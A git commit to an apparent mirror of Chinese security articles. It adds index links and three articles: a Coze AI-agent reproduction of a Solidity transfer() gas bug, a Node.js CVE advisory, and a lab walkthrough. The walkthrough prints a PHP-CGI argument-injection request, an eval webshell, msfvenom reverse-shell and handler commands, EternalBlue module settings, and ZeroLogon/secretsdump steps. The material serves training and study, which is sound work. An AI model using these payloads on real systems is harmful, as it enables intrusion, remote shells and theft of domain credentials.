mirror of
https://github.com/gelusus/wxvl.git
synced 2025-08-13 11:28:20 +00:00
攻防实战之若依(RuoYi)框架漏洞战争手册、Node.js 高危漏洞警报(CVE-2025-23166):可导致远程系统崩溃、【漏洞预警】某华DSS系统存在命令执行漏洞、PHPRCE-永恒之蓝-防火墙上线-密码喷射-DC域控提权-weblogic、漏洞预警 | 用友NC SQL注入漏洞、DeFiVulnLabs验证——利用Coze进行自动化复现和测试及坑点、通过细节挖掘漏洞的艺术、安全资讯|英特尔CPU曝分支权限注入重大安全漏洞、【已复现】Ivanti Endpoint Manager Mobile 多个漏洞安全风险通告第二次更新、利用Bitpixie漏洞(CVE-2023-21563)可在数分钟内绕过BitLocker加密——概念验证揭示高风险攻击路径、某短视频矩阵营销系统前台RCE漏洞审计、Webpack源码泄露漏洞批量探测、
This commit is contained in:
parent
00e38e8b9c
commit
bd15ac521e
14
data.json
14
data.json
@ -14095,5 +14095,17 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2NzAwOTg4NQ==&mid=2649795118&idx=1&sn=ac271afd0d4c9989d955552c446b0add": "俄黑客组织 APT28 利用 MDaemon 0day漏洞攻击Webmail 服务器",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247487402&idx=1&sn=483b638ac2cba6a68bcb8633c1375c09": "泥煤的,又一次RCE",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493142&idx=2&sn=1e6477655b8d35c631618cae1a19e496": "漏洞预警 | 帆软报表目录遍历漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491447&idx=1&sn=62d0d1d5d519b3e8110257ee76aa9b05": "【1周年庆】致Nday Poc全体成员的一封信"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491447&idx=1&sn=62d0d1d5d519b3e8110257ee76aa9b05": "【1周年庆】致Nday Poc全体成员的一封信",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650610772&idx=3&sn=7cdf87bd56ec29f6bc9408ebd458100d": "攻防实战之若依(RuoYi)框架漏洞战争手册",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247524590&idx=4&sn=6fe7ad2714f7e5f2f6ac54bcecda6ae8": "Node.js 高危漏洞警报(CVE-2025-23166):可导致远程系统崩溃",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNDI5NjEzMQ==&mid=2247484595&idx=1&sn=6feefaf85c986e4dfe7b354020d7d52e": "【漏洞预警】某华DSS系统存在命令执行漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3NzY3MzYzMw==&mid=2247499902&idx=1&sn=92ef5a9638f17d80e724ac3c867101a7": "PHPRCE-永恒之蓝-防火墙上线-密码喷射-DC域控提权-weblogic",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493142&idx=3&sn=47422e3c46960e1f7335a34d5196bbce": "漏洞预警 | 用友NC SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTc2MDE3OA==&mid=2247486659&idx=1&sn=0321d9126f471ded2828af33bd4fe6a2": "DeFiVulnLabs验证——利用Coze进行自动化复现和测试及坑点",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247487402&idx=6&sn=c271da6713b076314c2fd474e7365fd3": "通过细节挖掘漏洞的艺术",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI5NTUzNzY3Ng==&mid=2247489105&idx=1&sn=4d26a119df5deef7a14e446b93678848": "安全资讯|英特尔CPU曝分支权限注入重大安全漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503407&idx=1&sn=bc577b527b31ff7b989f2b804f447771": "【已复现】Ivanti Endpoint Manager Mobile 多个漏洞安全风险通告第二次更新",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247524590&idx=3&sn=5ce5215f6a03a6bbcbf2bc01760cd628": "利用Bitpixie漏洞(CVE-2023-21563)可在数分钟内绕过BitLocker加密——概念验证揭示高风险攻击路径",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIxNTIzNTExMQ==&mid=2247491697&idx=1&sn=4fc952a1c58793c94def3b994ee657be": "某短视频矩阵营销系统前台RCE漏洞审计",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247490339&idx=1&sn=011dccb887d48892ba1c826730b44ec9": "Webpack源码泄露漏洞批量探测"
|
||||
}
|
228
doc/2025-05/DeFiVulnLabs验证——利用Coze进行自动化复现和测试及坑点.md
Normal file
228
doc/2025-05/DeFiVulnLabs验证——利用Coze进行自动化复现和测试及坑点.md
Normal file
@ -0,0 +1,228 @@
|
||||
# DeFiVulnLabs验证——利用Coze进行自动化复现和测试及坑点
|
||||
原创 apmozart Ice ThirdSpace 2025-05-16 01:30
|
||||
|
||||
****
|
||||
**0x00 Coze空间测试复现**
|
||||
|
||||
****
|
||||
**最近接触和学习Coze空间https://www.coze.cn/space-preview**
|
||||
|
||||
**这是一个类似Manus的AI Agent代理,在某些方面还是不错的,它可以自动编写代码,自动运行获取结果,给了它一个Prompt如下所示:**
|
||||
|
||||
****
|
||||
**请理解并解析这个漏洞,告诉我它的原理,然后构造测试环境运行,你可以使用Foundry合约测试工具组里的forge工具复现,然后告诉我完整的运行测试结果**
|
||||
|
||||
****
|
||||
**这是foundry框架的可执行文件: https://github.com/foundry-rs/foundry/releases/download/v1.1.0/foundry_v1.1.0_linux_amd64.tar.gz**
|
||||
|
||||
****
|
||||
**这是我要执行的测试文件: https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/payable-transfer.sol**
|
||||
|
||||
****
|
||||
**这是完整的测试框架项目:**
|
||||
|
||||
**https://github.com/SunWeb3Sec/DeFiVulnLabs/**
|
||||
|
||||
****
|
||||
**我已经以附件的格式传给你了(然后上传附件)**
|
||||
|
||||

|
||||
|
||||
****
|
||||

|
||||
|
||||
|
||||
|
||||
0x01 直接看结果吧
|
||||
## 一、漏洞原理说明
|
||||
### 漏洞概述
|
||||
|
||||
该漏洞主要是由于在伊斯坦布尔硬分叉中实施EIP 1884后,SLOAD操作的gas成本增加,导致使用Solidity的transfer()
|
||||
或send()
|
||||
方法向智能合约接收者转移ETH时出现问题。当接收者是智能合约时,这些方法可能无法成功转移ETH。
|
||||
### 漏洞产生的具体原因
|
||||
#### 1. 硬分叉导致SLOAD操作gas成本增加
|
||||
|
||||
在伊斯坦布尔硬分叉中实施EIP 1884后,SLOAD操作的gas成本从200增加到了800。这一变化影响了一些现有的智能合约,特别是那些依赖于transfer()
|
||||
或send()
|
||||
方法进行ETH转移的合约。
|
||||
#### 2. transfer()和send()方法的局限性
|
||||
|
||||
transfer()
|
||||
和send()
|
||||
方法在设计上只提供了2300 gas用于执行接收者合约的代码。当接收者是智能合约时,如果满足以下条件之一,转移操作将会失败:
|
||||
- **未实现可支付的回退函数**
|
||||
:如果智能合约没有实现可支付的回退函数(payable fallback function),则无法接收ETH。
|
||||
|
||||
- **回退函数消耗超过2300 gas**
|
||||
:如果智能合约实现了可支付的回退函数,但该函数的执行需要超过2300 gas,那么transfer()
|
||||
或send()
|
||||
方法将无法提供足够的gas,导致转移失败。
|
||||
|
||||
- **通过代理调用导致gas消耗超过2300**
|
||||
:即使回退函数本身消耗的gas少于2300,但如果通过代理调用该函数,可能会增加额外的gas消耗,使得总gas消耗超过2300,从而导致转移失败。
|
||||
|
||||
### 代码示例分析
|
||||
|
||||
以下是测试文件中的代码片段,展示了漏洞的具体表现:
|
||||
```
|
||||
contractSimpleBank{mapping(address=>uint)private balances;functiondeposit()publicpayable{ balances[msg.sender]+= msg.value;}functiongetBalance()publicviewreturns(uint){return balances[msg.sender];}functionwithdraw(uint amount)public{require(balances[msg.sender]>= amount); balances[msg.sender]-= amount;// 问题出在这里payable(msg.sender).transfer(amount);}}
|
||||
```
|
||||
|
||||
在SimpleBank
|
||||
合约的withdraw
|
||||
函数中,使用了payable(msg.sender).transfer(amount)
|
||||
来转移ETH。如果msg.sender
|
||||
是一个智能合约,并且满足上述提到的任何一个条件,那么这个转移操作将会失败。
|
||||
### 修复建议
|
||||
|
||||
为了避免这个漏洞,建议使用call
|
||||
方法,并检查其返回的布尔值,同时结合重入防护机制。以下是修复后的代码示例:
|
||||
```
|
||||
contractFixedSimpleBank{mapping(address=>uint)private balances;functiondeposit()publicpayable{ balances[msg.sender]+= msg.value;}functiongetBalance()publicviewreturns(uint){return balances[msg.sender];}functionwithdraw(uint amount)public{require(balances[msg.sender]>= amount); balances[msg.sender]-= amount;(bool success,)=payable(msg.sender).call{value: amount}("");require(success," Transfer of ETH Failed");}}
|
||||
```
|
||||
|
||||
在FixedSimpleBank
|
||||
合约的withdraw
|
||||
函数中,使用了payable(msg.sender).call{value: amount}("")
|
||||
来转移ETH,并检查了返回的布尔值success
|
||||
。如果转移失败,会抛出错误信息。这样可以确保ETH转移的可靠性。
|
||||
## 二、测试环境构造过程
|
||||
### 1. 安装Foundry框架
|
||||
|
||||
用户提供了foundry框架可执行文件下载链接https://github.com/foundry-rs/foundry/releases/download/v1.1.0/foundry_v1.1.0_linux_amd64.tar.gz ,同时上传了foundry_v1.1.0_linux_amd64.zip文件。将该压缩包解压后,可得到forge
|
||||
等可执行文件,将其配置到系统环境变量中,即可完成Foundry框架的安装。
|
||||
### 2. 准备测试文件
|
||||
|
||||
用户上传了DeFiVulnLabs.zip文件,解压该文件后,得到测试文件DeFiVulnLabs_unzip/DeFiVulnLabs/src/test/payable-transfer.sol
|
||||
。该测试文件包含了漏洞合约SimpleBank
|
||||
和修复后的合约FixedSimpleBank
|
||||
,以及用于测试的合约ContractTest
|
||||
。
|
||||
### 3. 构造测试环境
|
||||
|
||||
使用Foundry合约测试工具组里的forge
|
||||
工具来构造测试环境。forge
|
||||
工具可以对Solidity合约进行编译、测试等操作。在包含测试文件的目录下,使用forge
|
||||
工具可以自动识别并编译测试文件,为后续的漏洞复现测试做好准备。
|
||||
## 三、复现漏洞情况
|
||||
### 测试思路
|
||||
|
||||
在ContractTest
|
||||
合约中,定义了两个测试函数:testTransferFail()
|
||||
和testCall()
|
||||
。testTransferFail()
|
||||
用于测试使用transfer()
|
||||
方法进行ETH转移时是否会失败,testCall()
|
||||
用于测试使用call()
|
||||
方法进行ETH转移时是否会成功。
|
||||
### 测试结果分析
|
||||
#### 1. testTransferFail()
|
||||
|
||||
该测试用例首先调用SimpleBank
|
||||
合约的deposit()
|
||||
函数存入1 ether,然后调用getBalance()
|
||||
函数验证余额是否正确。接着,使用vm.expectRevert()
|
||||
期望接下来的withdraw()
|
||||
函数调用会触发回退。最后调用withdraw()
|
||||
函数尝试取出1 ether,由于transfer()
|
||||
方法的局限性,当接收者合约的回退函数消耗超过2300 gas时,转移操作会失败,测试用例通过,符合预期。
|
||||
#### 2. testCall()
|
||||
|
||||
该测试用例首先调用FixedSimpleBank
|
||||
合约的deposit()
|
||||
函数存入1 ether,然后调用getBalance()
|
||||
函数验证余额是否正确。接着调用withdraw()
|
||||
函数尝试取出1 ether,由于使用了call()
|
||||
方法并检查了返回的布尔值,即使接收者合约的回退函数消耗超过2300 gas,也能正常处理,测试用例通过,说明修复后的合约能够正常工作。
|
||||
## 四、完整运行测试结果
|
||||
### 编译信息
|
||||
```
|
||||
Compiling 7 files with Solc 0.8.29Solc 0.8.29 finished in 286.94msCompiler run successful!
|
||||
```
|
||||
|
||||
这表明使用Solc 0.8.29编译器成功编译了7个文件,编译过程耗时286.94ms。
|
||||
### 测试用例执行情况
|
||||
<table><thead><tr><th><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">测试用例</span></span></section></th><th><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">结果</span></span></section></th><th><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">消耗gas</span></span></section></th><th><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">调用追踪</span></span></section></th></tr></thead><tbody><tr><td><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">testCall()</span></span></section></td><td><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">PASS</span></span></section></td><td><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">58853</span></span></section></td><td><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">[78753] ContractTest::testCall()<br> - [22537] FixedSimpleBank::deposit{value: 1000000000000000000}(),返回 [Stop]<br> - [496] FixedSimpleBank::getBalance() [staticcall],返回 [Return] 1000000000000000000 [1e18]<br> - [42473] FixedSimpleBank::withdraw(1000000000000000000 [1e18])<br> - [34260] ContractTest::receive{value: 1000000000000000000}()<br> - [22537] SimpleBank::deposit{value: 1000000000000000000}(),返回 [Stop]<br> - 返回 [Stop]<br> - 返回 [Stop]<br> - 返回 [Stop]</span></span></section></td></tr><tr><td><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">testTransferFail()</span></span></section></td><td><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">PASS</span></span></section></td><td><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">35375</span></span></section></td><td><section style="margin-top: 8px;margin-bottom: 8px;line-height: 1.5em;"><span leaf=""><span textstyle="" style="font-size: 17px;">[49484] ContractTest::testTransferFail()<br> - [22537] SimpleBank::deposit{value: 1000000000000000000}(),返回 [Stop]<br> - [496] SimpleBank::getBalance() [staticcall],返回 [Return] 1000000000000000000 [1e18]<br> - [0] VM::expectRevert(custom error 0xf4844814),返回 [Return]<br> - [10311] SimpleBank::withdraw(1000000000000000000 [1e18])<br> - [400] ContractTest::receive{value: 1000000000000000000}(),返回 [OutOfGas] EvmError: OutOfGas<br> - 返回 [Revert] EvmError: Revert<br> - 返回 [Stop]</span></span></section></td></tr></tbody></table>### 测试套件结果
|
||||
```
|
||||
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 584.74µs (415.46µs CPU time)Ran 1 test suite in 4.83ms (584.74µs CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
|
||||
```
|
||||
|
||||
这表明整个测试套件执行成功,2个测试用例全部通过,没有失败和跳过的测试用例,测试套件执行耗时584.74µs(CPU时间415.46µs),整个测试过程耗时4.83ms。
|
||||
|
||||
|
||||
我看了一下,分析结果并没有太大的问题,
|
||||
|
||||
详情可以查看上篇文章DeFiVulnLabs靶场全系列详解(四十二)转账函数固定2300个gas导致合约可用性遭到破坏
|
||||
|
||||
|
||||
|
||||
0x02 坑点1
|
||||
|
||||
试图让他自动化的下载foundry框架,没想到下载失败
|
||||
|
||||

|
||||
|
||||
****
|
||||
****
|
||||
**0x03 坑点2**
|
||||
|
||||
**于是我上传了附件,让他进行解压安装测试,但是它无法下载7z解压,但是经过多次测试,coze对于文件的下载是存在不确定性的,也就是有时候能下再次成功有时候会下载失败。**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
0x04 坑点3
|
||||
|
||||
规划模式和探索模式各有利弊,探索模式是AI自己思考的,并且思考很可能不充分,执行到一半就说无法执行就退出了。但是某些情况下,探索模式自动化程度更高,这取决于AI脑子是否抽风以及提示词是否够优秀
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
0x05 坑点4
|
||||
|
||||
上面丢给它的存在漏洞的sol地址下载后会出错,重新本地上传了一份给它
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
0x06 坑点5
|
||||
|
||||
提示没有forge可执行程序的执行权限,这点倒是小问题
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
0x07 总结
|
||||
|
||||
探索模式一次性完成,prompt如下
|
||||
|
||||
请理解并解析这个漏洞,告诉我它的原理,然后构造测试环境运行,你可以使用Foundry合约测试工具组里的forge工具复现,然后告诉我完整的运行测试结果 1、你应该先解压zip压缩包 2、然后赋予forge 执行权限 3、使用forge test --contracts xxxxxx.sol -vvvv 来进行测试 4、深度分析这个漏洞 5、这是这个漏洞的简要概况 Incorrect use of payable.transfer() or send() : Fixed 2300 gas, these shortcomings can make it impossible to successfully transfer ETH to the smart contract recipient. REF 这是foundry框架的可执行文件: https://github.com/foundry-rs/foundry/releases/download/v1.1.0/foundry_v1.1.0_linux_amd64.tar.gz 这是我要执行的存在漏洞的测试文件: https://github.com/SunWeb3Sec/DeFiVulnLabs/blob/main/src/test/payable-transfer.sol 这是完整的测试框架项目: https://github.com/SunWeb3Sec/DeFiVulnLabs/ 我已经以附件的格式传给你了
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
0x08 对比
|
||||
|
||||
https://manus.im/share/brWKUSp51ItvVMBpcXNCZ1?replay=1
|
||||
|
||||
https://space.coze.cn/web?uri=7502386880629981219%2F%E8%A5%BF%E9%9B%85%E5%9B%BE%E5%87%BA%E5%8F%91%E6%97%A5%E6%9C%AC7%E5%A4%A9%E6%B8%B8-0079db2ba4.jsx&theme=undefined
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
58
doc/2025-05/Node.js 高危漏洞警报(CVE-2025-23166):可导致远程系统崩溃.md
Normal file
58
doc/2025-05/Node.js 高危漏洞警报(CVE-2025-23166):可导致远程系统崩溃.md
Normal file
@ -0,0 +1,58 @@
|
||||
# Node.js 高危漏洞警报(CVE-2025-23166):可导致远程系统崩溃
|
||||
邑安科技 邑安全 2025-05-16 02:23
|
||||
|
||||
更多全球网络安全资讯尽在邑安全
|
||||
|
||||

|
||||
|
||||
Node.js团队近日发布重要安全公告,针对24.x、23.x、22.x和20.x版本系列推出关键更新。这些补丁修复了从低危到高危的一系列安全漏洞。
|
||||
## 异步加密操作可能导致进程崩溃(CVE-2025-23166)
|
||||
|
||||
最严重的是一个被评定为"高危"的漏洞,涉及异步加密操作中的错误处理不当问题。公告指出:"当在后台线程执行时,C++方法SignTraits::DeriveBits()可能基于用户提供的输入错误地调用ThrowException(),导致Node.js进程崩溃。"这尤其令人担忧,因为"此类加密操作通常应用于不受信任的输入,因此攻击者可能利用此机制远程使Node.js运行时崩溃。"
|
||||
|
||||
该漏洞影响所有活跃版本系列的用户:20.x、22.x、23.x和24.x。成功利用此漏洞可能导致Node.js进程崩溃,造成拒绝服务,进而使关键服务中断。
|
||||
## llhttp中的HTTP头部解析漏洞(CVE-2025-23167)
|
||||
|
||||
接下来是一个被评定为"中危"的漏洞,涉及Node.js使用的HTTP解析器llhttp中的HTTP头部块终止不当问题。公告称:"Node.js 20的HTTP解析器存在缺陷,允许使用\r\n\rX而非要求的\r\n\r\n来终止HTTP/1头部。"这种看似微小的不一致性具有重大影响:"这种不一致性可能导致请求走私,使攻击者能够绕过基于代理的访问控制并提交未经授权的请求。"
|
||||
|
||||
该漏洞特别影响运行llhttp v9之前版本的Node.js 20.x用户。绕过代理控制的能力可能导致未经授权的访问,并可能暴露敏感信息或内部系统。该问题已通过将llhttp升级至版本9得到修复,新版本现在强制执行正确的头部终止。
|
||||
## 文件读取操作中的指针损坏问题(CVE-2025-23165)
|
||||
|
||||
最后是一个被评定为"低危"的问题,涉及当第一个参数(args[0])为字符串时,node::fs::ReadFileUtf8函数中的指针损坏问题。公告详细说明:"在Node.js中,由于uv_fs_s.file中的指针损坏,ReadFileUtf8内部绑定会泄漏内存:分配了UTF-16路径缓冲区,但在设置文件描述符时被覆盖。"其后果是"每次调用都会造成不可恢复的内存泄漏。"随着时间的推移,"重复使用可能导致内存无限增长,最终造成拒绝服务。"
|
||||
|
||||
此内存泄漏影响Node.js v20和v22版本系列中依赖ReadFileUtf8的API。虽然评级为低危,但持续的内存泄漏最终会降低性能,并通过耗尽系统内存导致拒绝服务。
|
||||
## 立即行动:下载并更新
|
||||
|
||||
为降低风险,建议用户尽快更新至以下最新修补版本:
|
||||
- Node.js v20.19.2
|
||||
|
||||
- Node.js v22.15.1
|
||||
|
||||
- Node.js v23.11.1
|
||||
|
||||
- Node.js v24.0.2
|
||||
|
||||
原文来自: securityonline.info
|
||||
|
||||
原文链接:
|
||||
https://securityonline.info/node-js-alerts-high-severity-flaw-cve-2025-23166-risks-remote-system-crashes-update-immediately/
|
||||
|
||||
欢迎收藏并分享朋友圈,让五邑人网络更安全
|
||||
|
||||

|
||||
|
||||
欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!
|
||||
|
||||
推荐文章
|
||||
|
||||
1
|
||||
|
||||
[新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现](http://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247488913&idx=1&sn=acbf595a4a80dcaba647c7a32fe5e06b&chksm=fa39554bcd4edc5dc90019f33746404ab7593dd9d90109b1076a4a73f2be0cb6fa90e8743b50&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
2
|
||||
|
||||
[重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) ](http://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247483652&idx=1&sn=b2f2ec90db499e23cfa252e9ee743265&chksm=fa3941decd4ec8c83a268c3480c354a621d515262bcbb5f35e1a2dde8c828bdc7b9011cb5072&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
302
doc/2025-05/PHPRCE-永恒之蓝-防火墙上线-密码喷射-DC域控提权-weblogic.md
Normal file
302
doc/2025-05/PHPRCE-永恒之蓝-防火墙上线-密码喷射-DC域控提权-weblogic.md
Normal file
@ -0,0 +1,302 @@
|
||||
# PHPRCE-永恒之蓝-防火墙上线-密码喷射-DC域控提权-weblogic
|
||||
网络安全者 2025-05-16 01:25
|
||||
|
||||
## 引言
|
||||
|
||||
近期利用闲暇时间,我对小迪老师提供的靶场环境进行了全面的渗透测试实战演练。本次记录旨在详细还原整个渗透过程,包括环境搭建、信息收集、漏洞利用、权限提升及内网横向移动等关键环节,以期巩固所学知识并提升实战技能。
|
||||
|
||||

|
||||
## 环境搭建
|
||||
### 项目下载:
|
||||
|
||||
链接: https://pan.baidu.com/s/1JrCRqsF_mVTB6gh6VkdTng提取码: ga54
|
||||
|
||||

|
||||
### 配置网卡:
|
||||
|
||||

|
||||
|
||||
vmware8/NAT 对应192.168.139.0网段
|
||||
|
||||
vmware2对应192.168.2.0网段
|
||||
|
||||
vmware3对应192.168.3.0网段
|
||||
|
||||
vmware10对应192.168.10.0网段
|
||||
|
||||
**Windows Server 2012**
|
||||
|
||||

|
||||
|
||||
登陆进去打开xampp服务
|
||||
|
||||

|
||||
|
||||
**Windows 7**
|
||||
|
||||

|
||||
|
||||
**Windows 10**
|
||||
|
||||

|
||||
|
||||
**Windows Server 2012 R2(weblogic 单机)**
|
||||
|
||||

|
||||
|
||||
**Windows Server 2012-WEB**
|
||||
|
||||

|
||||
|
||||
**Windows Server 2016-AD-2016**
|
||||
|
||||

|
||||
## 打靶
|
||||
### windows server 2012
|
||||
### 信息收集
|
||||
|
||||

|
||||
### XAMPP 渗透拿shell
|
||||
|
||||
打开网站80端口
|
||||
|
||||

|
||||

|
||||
|
||||
[https://mp.weixin.qq.com/s/93TuxZ4AVqHXcnJw3M4hRg](https://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247507195&idx=1&sn=74e9d776778045fb21fbb2d39b18c6d8&scene=21#wechat_redirect)
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
```
|
||||
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
|
||||
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
|
||||
Host: 192.168.139.128
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Connection: keep-alive
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Priority: u=0, i
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 23
|
||||
<?php die("Te"."sT");?>
|
||||
|
||||
```
|
||||
|
||||
|
||||
发现可以成功执行命令,但是想要反弹shell没有办法只用get,所以我们得尝试写入文件
|
||||
|
||||
查看phpinfo,发现当我们写入文件应该会放在\php\下
|
||||
|
||||

|
||||
|
||||
而经过chatgpt的搜索,可以知道网站的路径在/htdocs/下,所有我们得把文件上传到这
|
||||
|
||||

|
||||
|
||||
<?php
|
||||
|
||||
file_put_contents("../htdocs/1.php", " <?php @eval($_POST['attack']);?>
|
||||
|
||||
"); ?>成功写入,然后将其改为后门的木马
|
||||
|
||||

|
||||
|
||||
成功写入连接
|
||||
|
||||

|
||||
|
||||
将其连接到cs(生成后门上传执行)
|
||||
|
||||

|
||||
### windows7
|
||||
### 信息收集
|
||||
|
||||

|
||||
|
||||
端口扫描和探测
|
||||
|
||||
并且抓取明文的密码
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
发现129只有445端口
|
||||
|
||||
将fscan传上去
|
||||
|
||||
运行,发现
|
||||
|
||||
|
||||
存在永恒之蓝
|
||||
### 永恒之蓝漏洞
|
||||
|
||||
先将其转到msf上
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
或者直接用哥斯拉的传
|
||||
|
||||

|
||||
|
||||
或者直接生成msf的后门
|
||||
> msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.129 LPORT=5210 -f exe -o 5210.exe
|
||||
>
|
||||
> use exploit/multi/handler
|
||||
> set payload windows/meterpreter/reverse_tcp
|
||||
> set lhost 192.168.2.129
|
||||
> set lport 1234
|
||||
> run
|
||||
|
||||
|
||||
|
||||
建立路由
|
||||
|
||||
<font style="color:rgb(51, 51, 51);">run autoroute -p //查看当前路由表</font>
|
||||
|
||||
<font style="color:rgb(51, 51, 51);">run post/multi/manage/autoroute //添加当前路由表</font>
|
||||
|
||||
|
||||
注意:因为这是内网网段的机器,所以我们只是单纯的区执行这个永恒之蓝漏洞是完全不行的,我们得先设置监听器,到 第一台的主机
|
||||
|
||||
|
||||
use exploit/multi/handler
|
||||
|
||||
<font style="color:rgb(51, 51, 51);">set payload windows/x64/meterpreter/reverse_tcp </font>
|
||||
|
||||
set lhost 192.168.2.134
|
||||
|
||||
set lport 4548
|
||||
|
||||

|
||||
|
||||
<font style="color:rgb(51, 51, 51);">use exploit/windows/smb/ms17_010_eternalblue</font>
|
||||
|
||||
<font style="color:rgb(51, 51, 51);">set payload windows/x64/meterpreter/reverse_tcp </font>
|
||||
|
||||
set rhost 192.168.2.129
|
||||
|
||||
set rhosts 192.168.2.129
|
||||
|
||||
set lhost 192.138.2.134
|
||||
|
||||
set lport 4548
|
||||
|
||||
上传后门,然后再转发上线
|
||||
|
||||
成功上线
|
||||
### Windows10
|
||||
|
||||
### 密码喷射
|
||||
|
||||
再administrator
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
密码横向移动
|
||||
|
||||
### windows server R2
|
||||
|
||||

|
||||
|
||||
发现7001端口,是weblogic,所以建立代理,访问
|
||||
|
||||

|
||||

|
||||
### windows server 2012
|
||||
|
||||

|
||||
|
||||
集成攻击一把梭
|
||||
|
||||

|
||||
|
||||
植入内存马
|
||||
|
||||

|
||||
|
||||
上线cs
|
||||
|
||||
windows server 2012 web
|
||||
|
||||
抓取密码,发现密码
|
||||
|
||||

|
||||

|
||||
|
||||
尝试用密码横向移动,但是自身有防火墙,所以没办法使用反向上线,需要通过正向上线
|
||||

|
||||
|
||||
|
||||
不知道为什么我的这样子无法上线
|
||||
|
||||
先用ipc协议将文件共享
|
||||
|
||||
|
||||
然后使用atexec来执行
|
||||
|
||||

|
||||
|
||||
成功上线
|
||||
### DC
|
||||
|
||||
net time /domain发现是在域内
|
||||
|
||||
|
||||
先建立代理
|
||||
|
||||
改host文件为dc
|
||||
|
||||

|
||||
### cve 2020 1472 域控提权
|
||||
|
||||

|
||||
|
||||
清空密码
|
||||
|
||||
(在impacket里面)
|
||||
|
||||
python secretsdump.py "xiaodi.org/dc$@192.168.10.10" -no-pass
|
||||
|
||||

|
||||
|
||||
一般都是第一个administrator的第一个或者第二个
|
||||
|
||||
|
||||
(域控是dc.xiaodi.org ,)
|
||||
|
||||
成功得到shell,然后将其上线cs
|
||||
|
||||
|
||||
成功上线
|
||||
|
||||
|
||||
至此完成所有的机子的上线
|
||||
## 总结
|
||||
|
||||
